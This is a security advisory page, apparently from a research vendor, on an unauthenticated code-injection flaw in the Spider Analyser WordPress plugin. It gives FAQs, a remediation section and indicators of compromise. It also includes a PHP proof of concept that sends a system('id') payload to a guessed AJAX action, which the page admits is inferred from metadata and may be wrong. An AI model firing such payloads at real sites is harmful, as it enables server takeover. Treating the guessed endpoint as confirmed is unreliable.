What is CVE-2026-65553?

CVE-2026-65553 is a critical unauthenticated remote code execution vulnerability in the Spider Analyser WordPress plugin, affecting all versions up to and including 2.1.3. It allows any unauthenticated attacker to execute arbitrary code on the server, potentially leading to full site compromise.

How does the vulnerability work?

The vulnerability is classified as CWE-94, improper control of code generation. This means the plugin likely passes user-supplied input to a dangerous function like eval(), assert(), or create_function() without proper sanitization or authorization. An attacker can send a crafted HTTP request to a reachable endpoint, such as an AJAX action or a direct PHP file, to trigger code execution.

Who is affected by this vulnerability?

Any WordPress site running the Spider Analyser plugin version 2.1.3 or earlier is affected. Since the attack requires no authentication, any unauthenticated visitor to the site can exploit it, making all such sites at high risk.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 2.1.3 or lower, your site is vulnerable. You can also use security scanners or manually inspect the plugin files for risky functions like eval() or assert() in reachable code paths.

What is the CVSS score and what does it mean?

The CVSS score is 9.8 out of 10, which is critical. This indicates the vulnerability can be exploited remotely without authentication or user interaction, and it has a high impact on confidentiality, integrity, and availability. In practical terms, an attacker can fully compromise the server.

How can I fix or mitigate the vulnerability?

Immediately update the plugin to a patched version if available. If no patch exists, disable and remove the plugin until a fix is released. Additionally, implement a web application firewall (WAF) rule to block requests that attempt to exploit known patterns, and restrict access to sensitive files.

Is there a proof of concept available?

Yes, a proof of concept (PoC) is provided in the vulnerability report. It demonstrates how an attacker can send a crafted request to the AJAX endpoint or a direct file path to execute commands. The PoC is for educational and authorized testing purposes only.

What are the potential impacts of exploitation?

Successful exploitation grants the attacker full remote code execution, allowing them to read, modify, or delete files, steal sensitive data like database credentials, install backdoors, and potentially pivot to other systems on the network. This can lead to complete site takeover and data breach.

Why is this vulnerability considered critical?

It is critical because it requires no authentication, no user interaction, and can be exploited over the network. The impact is complete compromise of the server, which can affect not only the WordPress site but also other applications hosted on the same server.

What should I do if I cannot update the plugin immediately?

If an update is not available, disable the plugin immediately to prevent exploitation. You can also use a WAF to block suspicious requests, and monitor server logs for unusual activity. Consider moving the site to a more restrictive hosting environment temporarily.

How does the PoC demonstrate the vulnerability?

The PoC sends a POST request to the WordPress AJAX endpoint with an action parameter and a payload. It attempts to trigger code execution by passing the payload to a vulnerable function. If the plugin is vulnerable, the command will execute, proving the RCE.

Are there any known indicators of compromise?

Look for unexpected files in the web root, suspicious processes, or unauthorized changes to files. Check server logs for requests to admin-ajax.php with unusual action names or direct requests to plugin files with parameters. Also monitor for outbound connections from the server.

Published : August 8, 2026

CVE-2026-65553: Spider Analyser – WordPress搜索引擎蜘蛛分析插件 <= 2.1.3 Unauthenticated Remote Code Execution PoC, Patch Analysis & Rule

CVE ID CVE-2026-65553

Plugin spider-analyser

Severity Critical (CVSS 9.8)

CWE 94

Vulnerable Version 2.1.3

Patched Version —

Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65553 (metadata-based):
This vulnerability affects the Spider Analyser WordPress plugin, versions up to and including 2.1.3. An unauthenticated attacker can execute arbitrary code on the server, achieving full compromise. The CVSS score is 9.8, critical severity, due to network access, no privileges, and no user interaction required. Atomic Edge analysis infers this is a code injection flaw that likely exists in a PHP file that can be reached without authentication, possibly through an AJAX handler or direct file access.

Root Cause: The CWE-94 classification indicates improper control of code generation, meaning the plugin likely passes user-supplied input to a function like eval(), assert(), create_function(), or a callback invocation. The description confirms that unauthenticated remote code execution is possible. Since no source code is available, Atomic Edge analysis cannot confirm the exact vulnerable function or file. The likely root cause is a PHP file that lacks proper capability checks and nonce verification, allowing any visitor to trigger a code execution path with attacker-controlled parameters.

Exploitation: An attacker can send a crafted HTTP request to a WordPress endpoint available to unauthenticated users. The most common vectors for this plugin type are AJAX actions under /wp-admin/admin-ajax.php with an action parameter matching the plugin slug, or a direct request to a PHP file within the plugin directory. The attacker would include a parameter that gets passed to an insecure code execution function. For example, the request could POST to /wp-admin/admin-ajax.php with action=spider_analyser_exec and payload=system(‘id’);, or directly access /wp-content/plugins/spider-analyser/execute.php with a command parameter. The absence of authentication and nonce checks makes this a trivial attack to execute with a simple HTTP client.

Remediation: The fix requires removing any code execution functions from reachable code paths and ensuring that user input is never passed to eval(), assert(), create_function(), or similar functions. The plugin must add proper authorization checks, including capability verification and nonce validation for all AJAX handlers and direct file access. The vulnerable code should be replaced with safe alternatives, and the plugin should be updated to a patched version once available. Until then, administrators should disable the plugin and implement a web application firewall rule to block suspected exploit requests.

Impact: Successful exploitation grants the attacker full remote code execution on the WordPress server. This allows the attacker to read, modify, or delete files, steal sensitive data such as database credentials and configuration files, install backdoors, and pivot to other systems on the network. Since the attack requires no authentication, any unauthenticated visitor can compromise the entire server and its hosted data.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65553 - Spider Analyser – WordPress搜索引擎蜘蛛分析插件 <= 2.1.3 - Unauthenticated Remote Code Execution

// This PoC demonstrates how an unauthenticated attacker can achieve RCE.
// Since the exact vulnerable endpoint is unknown from metadata, we try common
// WordPress AJAX actions and direct file paths. Adjust $action_name and
// $payload as needed based on actual plugin behavior.

$target_url = 'http://example.com'; // Change to the target WordPress URL
$action_name = 'spider_analyser_exec'; // Possible AJAX action hook
$payload = 'system("id");'; // Payload to execute

// Attempt to exploit via AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => $action_name,
    'payload' => $payload
];

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] AJAX response (HTTP $http_code):n$responsen";

// Optionally try a direct file path if the AJAX attempt fails
// modify the path based on the plugin's file structure
// $direct_url = $target_url . '/wp-content/plugins/spider-analyser/execute.php';
// ... similar curl request with payload parameter

// Note: This is a metadata-based PoC. The actual endpoint, parameter, and
// payload structure may differ. Adjust $action_name and parameter names
// according to findings from the vulnerable plugin's source.

Frequently Asked Questions

What is CVE-2026-65553?
Vulnerability overview
CVE-2026-65553 is a critical unauthenticated remote code execution vulnerability in the Spider Analyser WordPress plugin, affecting all versions up to and including 2.1.3. It allows any unauthenticated attacker to execute arbitrary code on the server, potentially leading to full site compromise.
How does the vulnerability work?
Technical explanation
The vulnerability is classified as CWE-94, improper control of code generation. This means the plugin likely passes user-supplied input to a dangerous function like eval(), assert(), or create_function() without proper sanitization or authorization. An attacker can send a crafted HTTP request to a reachable endpoint, such as an AJAX action or a direct PHP file, to trigger code execution.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Spider Analyser plugin version 2.1.3 or earlier is affected. Since the attack requires no authentication, any unauthenticated visitor to the site can exploit it, making all such sites at high risk.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 2.1.3 or lower, your site is vulnerable. You can also use security scanners or manually inspect the plugin files for risky functions like eval() or assert() in reachable code paths.
What is the CVSS score and what does it mean?
Severity assessment
The CVSS score is 9.8 out of 10, which is critical. This indicates the vulnerability can be exploited remotely without authentication or user interaction, and it has a high impact on confidentiality, integrity, and availability. In practical terms, an attacker can fully compromise the server.
How can I fix or mitigate the vulnerability?
Remediation steps
Immediately update the plugin to a patched version if available. If no patch exists, disable and remove the plugin until a fix is released. Additionally, implement a web application firewall (WAF) rule to block requests that attempt to exploit known patterns, and restrict access to sensitive files.
Is there a proof of concept available?
PoC details
Yes, a proof of concept (PoC) is provided in the vulnerability report. It demonstrates how an attacker can send a crafted request to the AJAX endpoint or a direct file path to execute commands. The PoC is for educational and authorized testing purposes only.
What are the potential impacts of exploitation?
Consequences
Successful exploitation grants the attacker full remote code execution, allowing them to read, modify, or delete files, steal sensitive data like database credentials, install backdoors, and potentially pivot to other systems on the network. This can lead to complete site takeover and data breach.
Why is this vulnerability considered critical?
Risk rationale
It is critical because it requires no authentication, no user interaction, and can be exploited over the network. The impact is complete compromise of the server, which can affect not only the WordPress site but also other applications hosted on the same server.
What should I do if I cannot update the plugin immediately?
Interim measures
If an update is not available, disable the plugin immediately to prevent exploitation. You can also use a WAF to block suspicious requests, and monitor server logs for unusual activity. Consider moving the site to a more restrictive hosting environment temporarily.
How does the PoC demonstrate the vulnerability?
PoC explanation
The PoC sends a POST request to the WordPress AJAX endpoint with an action parameter and a payload. It attempts to trigger code execution by passing the payload to a vulnerable function. If the plugin is vulnerable, the command will execute, proving the RCE.
Are there any known indicators of compromise?
IOCs
Look for unexpected files in the web root, suspicious processes, or unauthorized changes to files. Check server logs for requests to admin-ajax.php with unusual action names or direct requests to plugin files with parameters. Also monitor for outbound connections from the server.

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